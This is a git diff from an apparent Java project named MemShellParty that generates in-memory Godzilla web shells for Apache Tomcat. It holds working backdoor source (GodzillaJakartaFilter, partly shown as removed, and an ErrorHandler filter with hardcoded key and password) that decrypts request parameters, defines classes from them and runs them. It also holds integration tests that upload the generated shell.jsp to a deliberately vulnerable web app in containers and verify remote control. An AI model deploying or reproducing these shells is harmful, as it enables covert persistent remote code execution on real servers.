public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
-120
@@ -1,120 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
|
||||
public String key;
|
||||
public String pass;
|
||||
public String md5;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public GodzillaJakartaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+21
-1
@@ -2,10 +2,15 @@ package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -29,4 +34,19 @@ class GodzillaValveTest {
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void generateJakarta() {
|
||||
String className = "org.apache.utils.CommonJakartaValve";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
|
||||
Files.write(Paths.get(className + ".class"), bytes);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import lombok.SneakyThrows;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class TomcatGodzillaIntegrationTest {
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
|
||||
@TestFactory
|
||||
Stream<DynamicTest> testContainerDeployments() {
|
||||
return Stream.of(
|
||||
createCustomContainerTest("tomcat:8-jre8"),
|
||||
createCustomContainerTest("tomcat:9-jre8")
|
||||
);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private DynamicTest createCustomContainerTest(String imageName) {
|
||||
Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath();
|
||||
return DynamicTest.dynamicTest("Test " + imageName, () -> {
|
||||
try (GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080)) {
|
||||
container.start();
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("pass123").key("key123")
|
||||
.headerName("User-Agent").headerValue("hello_integration_test")
|
||||
.build();
|
||||
String jspContent = generateGodzillaFilterJsp(shellConfig);
|
||||
String filename = "shell.jsp";
|
||||
uploadJspFileToServer(url + "/upload", filename, jspContent);
|
||||
verifyContainerResponse(url + "/" + filename);
|
||||
|
||||
testGodzillaIsOk(url + "/" + filename, shellConfig);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private String generateGodzillaFilterJsp(GodzillaShellConfig config) {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
String shellType = TomcatShell.FILTER;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
return new String(jspPacker.pack(generateResult));
|
||||
}
|
||||
|
||||
private void verifyContainerResponse(String url) throws IOException {
|
||||
Request request = new Request.Builder()
|
||||
.url(url).build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SneakyThrows
|
||||
private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
|
||||
RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain"));
|
||||
MultipartBody requestBody = new MultipartBody.Builder()
|
||||
.setType(MultipartBody.FORM)
|
||||
.addFormDataPart("file", filename, fileRequestBody)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(uploadUrl).post(requestBody)
|
||||
.build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(entrypoint)
|
||||
.pass(shellConfig.getPass())
|
||||
.key(shellConfig.getKey())
|
||||
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
|
||||
assertTrue(godzillaManager.start());
|
||||
assertTrue(godzillaManager.test());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
plugins {
|
||||
id "java"
|
||||
id "jacoco"
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = ''
|
||||
|
||||
dependencies {
|
||||
testImplementation project(":vul-webapp")
|
||||
testImplementation project(':generator')
|
||||
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
||||
testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
|
||||
testImplementation 'org.testcontainers:testcontainers:1.20.4'
|
||||
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
|
||||
testImplementation platform('org.junit:junit-bom:5.11.3')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
|
||||
tasks.withType(Test).tap {
|
||||
configureEach {
|
||||
testLogging {
|
||||
events "passed", "skipped", "failed"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
test {
|
||||
dependsOn ":vul-webapp:war", ":vul-webapp-jakarta:war"
|
||||
useJUnitPlatform()
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
services:
|
||||
tomcat10111:
|
||||
image: tomcat:10.1-jre11
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
|
||||
@@ -0,0 +1,10 @@
|
||||
services:
|
||||
tomcat6063:
|
||||
image: tomcat:6.0.53-jre7
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
||||
@@ -0,0 +1,16 @@
|
||||
package annotation;
|
||||
|
||||
import java.lang.annotation.Documented;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
@Documented
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface ImageName {
|
||||
|
||||
String value();
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package godzilla;
|
||||
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import lombok.SneakyThrows;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
public interface BaseGodzillaTest {
|
||||
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
|
||||
@SneakyThrows
|
||||
default void verifyContainerResponse(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url).build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
Assertions.assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SneakyThrows
|
||||
default void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
|
||||
MediaType mediaType = MediaType.parse("text/plain");
|
||||
RequestBody fileRequestBody = RequestBody.create(fileContent, mediaType);
|
||||
MultipartBody requestBody = new MultipartBody.Builder()
|
||||
.setType(MultipartBody.FORM)
|
||||
.addFormDataPart("file", filename, fileRequestBody)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(uploadUrl).post(requestBody)
|
||||
.build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
Assertions.assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
default void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(entrypoint)
|
||||
.pass(shellConfig.getPass())
|
||||
.key(shellConfig.getKey())
|
||||
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
|
||||
assertTrue(godzillaManager.start());
|
||||
assertTrue(godzillaManager.test());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package tomcat;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import godzilla.BaseGodzillaTest;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
public interface GodzillaTest extends BaseGodzillaTest {
|
||||
|
||||
default String generateGodzillaJsp(GodzillaShellConfig config, String shellType) {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
return new String(jspPacker.pack(generateResult));
|
||||
}
|
||||
|
||||
default String generateGodzillaJsp(GodzillaShellConfig config, String shellType, int targetJdkVersion) {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
return new String(jspPacker.pack(generateResult));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package tomcat;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.Nested;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.nio.file.Paths;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class TomcatGodzillaTest implements GodzillaTest {
|
||||
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
||||
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
|
||||
|
||||
public static final String tomcat6ImageName = "tomcat:6.0.53-jre7";
|
||||
public static final String tomcat7ImageName = "tomcat:7.0.85-jre7";
|
||||
public static final String tomcat8ImageName = "tomcat:8-jre8";
|
||||
public static final String tomcat9ImageName = "tomcat:9-jre8";
|
||||
public static final String tomcat10ImageName = "tomcat:10.1-jre11";
|
||||
public static final String tomcat11ImageName = "tomcat:11.0-jre17";
|
||||
|
||||
@Nested
|
||||
class Tomcat6Godzilla {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat6 = new GenericContainer<>(tomcat6ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
public String getUrl() {
|
||||
String host = tomcat6.getHost();
|
||||
int port = tomcat6.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaFilter() {
|
||||
String shellType = TomcatShell.FILTER;
|
||||
testGodzilla(getUrl(), tomcat6ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaValve() {
|
||||
String shellType = TomcatShell.VALVE;
|
||||
testGodzilla(getUrl(), tomcat6ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaListener() {
|
||||
String shellType = TomcatShell.LISTENER;
|
||||
testGodzilla(getUrl(), tomcat6ImageName, shellType);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat7Godzilla {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat7 = new GenericContainer<>(tomcat7ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
public String getUrl() {
|
||||
String host = tomcat7.getHost();
|
||||
int port = tomcat7.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaFilter() {
|
||||
String shellType = TomcatShell.FILTER;
|
||||
testGodzilla(getUrl(), tomcat7ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaValve() {
|
||||
String shellType = TomcatShell.VALVE;
|
||||
testGodzilla(getUrl(), tomcat7ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaListener() {
|
||||
String shellType = TomcatShell.LISTENER;
|
||||
testGodzilla(getUrl(), tomcat7ImageName, shellType);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat8Godzilla {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat8 = new GenericContainer<>(tomcat8ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
public String getUrl() {
|
||||
String host = tomcat8.getHost();
|
||||
int port = tomcat8.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaFilter() {
|
||||
String shellType = TomcatShell.FILTER;
|
||||
testGodzilla(getUrl(), tomcat8ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaValve() {
|
||||
String shellType = TomcatShell.VALVE;
|
||||
testGodzilla(getUrl(), tomcat8ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaListener() {
|
||||
String shellType = TomcatShell.LISTENER;
|
||||
testGodzilla(getUrl(), tomcat8ImageName, shellType);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat9Godzilla {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat9 = new GenericContainer<>(tomcat9ImageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
public String getUrl() {
|
||||
String host = tomcat9.getHost();
|
||||
int port = tomcat9.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaFilter() {
|
||||
String shellType = TomcatShell.FILTER;
|
||||
testGodzilla(getUrl(), tomcat9ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaValve() {
|
||||
String shellType = TomcatShell.VALVE;
|
||||
testGodzilla(getUrl(), tomcat9ImageName, shellType);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaListener() {
|
||||
String shellType = TomcatShell.LISTENER;
|
||||
testGodzilla(getUrl(), tomcat9ImageName, shellType);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat10Godzilla {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat10 = new GenericContainer<>(tomcat10ImageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
public String getUrl() {
|
||||
String host = tomcat10.getHost();
|
||||
int port = tomcat10.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaFilter() {
|
||||
String shellType = TomcatShell.JAKARTA_FILTER;
|
||||
testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaValve() {
|
||||
String shellType = TomcatShell.JAKARTA_VALVE;
|
||||
testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaListener() {
|
||||
String shellType = TomcatShell.JAKARTA_LISTENER;
|
||||
testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
class Tomcat11Godzilla {
|
||||
|
||||
@Container
|
||||
public final GenericContainer<?> tomcat11 = new GenericContainer<>(tomcat11ImageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
public String getUrl() {
|
||||
String host = tomcat11.getHost();
|
||||
int port = tomcat11.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaFilter() {
|
||||
String shellType = TomcatShell.JAKARTA_FILTER;
|
||||
testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaValve() {
|
||||
String shellType = TomcatShell.JAKARTA_VALVE;
|
||||
testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGodzillaListener() {
|
||||
String shellType = TomcatShell.JAKARTA_LISTENER;
|
||||
testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void testGodzilla(String url, String imageName, String shellType) {
|
||||
testSpecificJdkGodzilla(url, imageName, shellType, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
private void testSpecificJdkGodzilla(String url, String imageName, String shellType, int targetJdkVersion) {
|
||||
String pass = "pass" + shellType;
|
||||
String key = "key" + shellType;
|
||||
String headerValue = imageName + "Godzilla" + shellType;
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass(pass).key(key)
|
||||
.headerName("User-Agent").headerValue(headerValue)
|
||||
.build();
|
||||
String jspContent = generateGodzillaJsp(shellConfig, shellType, targetJdkVersion);
|
||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
||||
String filename = shellType + ".jsp";
|
||||
String uploadEntry = url + "/upload";
|
||||
String jspEntry = url + "/" + filename;
|
||||
uploadJspFileToServer(uploadEntry, filename, jspContent);
|
||||
verifyContainerResponse(jspEntry);
|
||||
testGodzillaIsOk(jspEntry, shellConfig);
|
||||
}
|
||||
}
|
||||
+4
-1
@@ -1,3 +1,6 @@
|
||||
rootProject.name = 'MemShellParty'
|
||||
|
||||
include 'generator'
|
||||
include 'vul-webapp'
|
||||
include 'generator'
|
||||
include 'vul-webapp-jakarta'
|
||||
include 'integration-test'
|
||||
@@ -0,0 +1,15 @@
|
||||
plugins {
|
||||
id 'war'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'commons-fileupload:commons-fileupload:1.5'
|
||||
providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
import jakarta.servlet.Filter;
|
||||
import jakarta.servlet.FilterChain;
|
||||
import jakarta.servlet.ServletException;
|
||||
import jakarta.servlet.ServletRequest;
|
||||
import jakarta.servlet.ServletResponse;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
|
||||
public class ErrorHandler extends ClassLoader implements Filter {
|
||||
public String key = "7b74f5d44e20fd71";
|
||||
public String pass = "passFilter";
|
||||
public String md5 = "6DA9A394180B0155C7CC6714A0B2179E";
|
||||
public String headerName = "User-Agent";
|
||||
public String headerValue = "test";
|
||||
public static boolean isBypassModule;
|
||||
|
||||
public ErrorHandler() {
|
||||
}
|
||||
|
||||
public ErrorHandler(ClassLoader var1) {
|
||||
super(var1);
|
||||
}
|
||||
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var41) {
|
||||
return null;
|
